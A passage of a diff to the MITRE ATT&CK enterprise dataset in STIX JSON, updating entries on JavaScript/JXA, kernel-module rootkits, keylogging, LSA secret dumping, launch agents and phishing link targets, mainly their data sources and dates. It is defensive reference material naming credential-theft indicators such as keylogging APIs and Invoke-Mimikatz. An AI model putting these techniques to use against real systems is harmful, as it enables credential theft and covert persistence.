runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nAdversaries may abuse JavaScript / JScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "name": "JavaScript", + "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "modified": "2020-06-25T03:23:13.804Z", - "created": "2020-06-23T19:12:24.924Z", - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], - "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", + "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "x_mitre_data_sources": [ - "Loaded DLLs", - "DLL monitoring", - "File monitoring", - "Process command-line parameters", - "Process monitoring" + "Command: Command Execution", + "Process: Process Creation", + "Module: Module Load", + "Script: Script Execution" ], "x_mitre_platforms": [ "Windows", "macOS", "Linux" + ], + "x_mitre_contributors": [ + "Cody Thomas, SpecterOps" ] }, { @@ -16427,10 +17504,7 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -16556,8 +17630,7 @@ "Praetorian" ], "x_mitre_data_sources": [ - "Authentication logs", - "Windows event logs" + "Active Directory: Active Directory Credential Request" ], "x_mitre_system_requirements": [ "Valid domain account or the ability to sniff traffic within a domain" @@ -16612,7 +17685,7 @@ "source_name": "iDefense Rootkit Overview" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", "source_name": "RSAC 2015 San Francisco Patrick Wardle" }, @@ -16641,7 +17714,7 @@ "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", "revoked": true, "type": "attack-pattern", - "modified": "2020-01-24T17:57:51.019Z", + "modified": "2021-03-30T00:59:53.427Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -16666,6 +17739,11 @@ "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.", "source_name": "iDefense Rootkit Overview" }, + { + "source_name": "Apple Kernel Extension Deprecation", + "url": "https://developer.apple.com/support/kernel-extensions/", + "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020." + }, { "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.", @@ -16687,7 +17765,7 @@ "source_name": "GitHub Diamorphine" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", "source_name": "RSAC 2015 San Francisco Patrick Wardle" }, @@ -16722,7 +17800,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Kernel Modules and Extensions", - "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands.\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)", + "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)", "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", "type": "attack-pattern", "kill_chain_phases": [ @@ -16735,19 +17813,21 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-06-30T21:23:15.188Z", + "modified": "2021-03-30T00:59:53.716Z", "created": "2020-01-24T17:42:23.339Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "root" ], "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)", "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" + "Command: Command Execution", + "File: File Creation", + "Kernel: Kernel Module Load" ], "x_mitre_contributors": [ + "Wayne Silva, F-Secure Countercept", "Anastasios Pingios", "Jeremy Galloway", "Red Canary" @@ -16826,21 +17906,25 @@ "Administrator" ], "x_mitre_data_sources": [ - "PowerShell logs", - "Process monitoring", - "File monitoring", - "System calls", - "API monitoring" + "Command: Command Execution", + "Process: OS API Execution", + "File: File Access" ] }, { - "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ", - "name": "Keylogging", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2020-02-11T18:58:11.791Z", + "modified": "2020-10-21T01:30:56.227Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -16863,38 +17947,32 @@ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "collection" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-10-21T01:30:56.227Z", - "created": "2020-02-11T18:58:11.791Z", - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux", - "Network" + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Keylogging", + "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ", + "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load", + "Process: OS API Execution" ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.", "x_mitre_permissions_required": [ "Administrator", "root", "SYSTEM", "User" ], - "x_mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "API monitoring" + "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.", + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Network" ] }, { @@ -16912,14 +17990,14 @@ "source_name": "Writing Bad Malware for OSX" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X" } ], "revoked": true, "type": "attack-pattern", - "modified": "2020-01-24T14:22:27.531Z", + "modified": "2021-03-30T00:51:58.008Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -16935,7 +18013,7 @@ "source_name": "Writing Bad Malware for OSX" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X" } @@ -16958,7 +18036,7 @@ "phase_name": "persistence" } ], - "modified": "2020-03-24T16:50:36.235Z", + "modified": "2021-03-30T00:51:58.454Z", "created": "2020-01-24T14:21:52.750Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -16967,10 +18045,11 @@ ], "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.", "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring", - "Binary file metadata" + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata", + "File: File Modification", + "Module: Module Load" ], "x_mitre_platforms": [ "macOS" @@ -17025,92 +18104,8 @@ "Whitelisting by file name or path" ], "x_mitre_detection": "Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.", - "x_mitre_data_sources": [ - "Binary file metadata", - "Malware reverse engineering", - "Process monitoring" - ], "x_mitre_version": "2.0" }, - { - "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", - "description": "Adversaries may execute their own malicious payloads by hijacking the dynamic linker used to load libraries. The dynamic linker is used to load shared library dependencies needed by an executing program. The dynamic linker will typically check provided absolute paths and common directories for these dependencies, but can be overridden by shared objects specified by LD_PRELOAD to be loaded before all others.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)\n\nAdversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD with be loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS) (Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)\n\nLD_PRELOAD hijacking may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. Execution via LD_PRELOAD hijacking may also evade detection from security products since the execution is masked under a legitimate process.", - "name": "LD_PRELOAD", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.006", - "url": "https://attack.mitre.org/techniques/T1574/006" - }, - { - "external_id": "CAPEC-13", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/13.html" - }, - { - "external_id": "CAPEC-640", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/640.html" - }, - { - "source_name": "Man LD.SO", - "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html", - "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020." - }, - { - "source_name": "TLDP Shared Libraries", - "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html", - "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020." - }, - { - "source_name": "Code Injection on Linux and macOS", - "url": "https://www.datawire.io/code-injection-on-linux-and-macos/", - "description": "Itamar Turner-Trauring. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017." - }, - { - "url": "http://hick.org/code/skape/papers/needle.txt", - "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", - "source_name": "Uninformed Needle" - }, - { - "url": "http://phrack.org/issues/51/8.html", - "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.", - "source_name": "Phrack halfdead 1997" - } - ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "modified": "2020-09-16T16:49:46.904Z", - "created": "2020-03-13T20:09:59.569Z", - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "Environment variable" - ], - "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1" - }, { "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", "name": "LLMNR/NBT-NS Poisoning and Relay", @@ -17249,10 +18244,10 @@ "Matthew Demaske, Adaptforward" ], "x_mitre_data_sources": [ - "Windows event logs", - "Windows Registry", - "Packet capture", - "Netflow/Enclave netflow" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Flow", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification" ], "x_mitre_permissions_required": [ "User" @@ -17288,7 +18283,7 @@ }, { "source_name": "ired Dumping LSA Secrets", - "url": "ttps://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets", + "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets", "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020." }, { @@ -17311,15 +18306,14 @@ "phase_name": "credential-access" } ], - "modified": "2020-03-24T20:35:42.440Z", + "modified": "2021-04-21T21:12:38.361Z", "created": "2020-02-21T16:22:09.493Z", "x_mitre_contributors": [ "Ed Williams, Trustwave, SpiderLabs" ], "x_mitre_data_sources": [ - "Process monitoring", - "PowerShell logs", - "Process command-line parameters" + "Windows Registry: Windows Registry Key Access", + "Command: Command Execution" ], "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", "x_mitre_version": "1.0", @@ -17421,10 +18415,10 @@ "Vincent Le Toux" ], "x_mitre_data_sources": [ - "DLL monitoring", - "File monitoring", - "Loaded DLLs", - "Process monitoring" + "Module: Module Load", + "Driver: Driver Load", + "File: File Modification", + "File: File Creation" ], "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ", "x_mitre_permissions_required": [ @@ -17489,9 +18483,10 @@ "SYSTEM" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "PowerShell logs", - "Process monitoring" + "Process: Process Creation", + "Process: Process Access", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_contributors": [ "Ed Williams, Trustwave, SpiderLabs" @@ -17528,13 +18523,12 @@ ], "x_mitre_detection": "Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.", "x_mitre_data_sources": [ - "Process command-line parameters", - "File monitoring", - "Packet capture", - "Process use of network", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Process monitoring" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Command: Command Execution", + "Process: Process Creation", + "File: File Creation", + "File: File Metadata" ], "x_mitre_platforms": [ "Linux", @@ -17666,8 +18660,11 @@ "modified": "2020-03-25T22:11:45.513Z", "created": "2020-01-17T16:10:58.592Z", "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Command: Command Execution", + "Service: Service Creation", + "Service: Service Modification" ], "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.", "x_mitre_version": "1.0", @@ -17774,7 +18771,12 @@ "modified": "2020-09-16T15:46:44.130Z", "created": "2020-01-17T19:23:15.227Z", "x_mitre_data_sources": [ - "File monitoring" + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution", + "Service: Service Creation", + "Service: Service Modification" ], "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, @@ -17851,9 +18853,10 @@ ], "x_mitre_detection": "KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Command: Command Execution", + "Process: Process Creation", + "Service: Service Creation", + "File: File Modification" ], "x_mitre_platforms": [ "macOS" @@ -17909,15 +18912,73 @@ ], "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_data_sources": [ - "Process command-line parameters", - "File monitoring", - "Process monitoring" + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_platforms": [ "macOS" ] }, { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1608.005", + "url": "https://attack.mitre.org/techniques/T1608/005" + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021." + }, + { + "source_name": "Proofpoint TA407 September 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Link Target", + "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.", + "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "modified": "2021-04-27T17:53:29.106Z", + "created": "2021-03-17T20:35:08.429Z", + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary 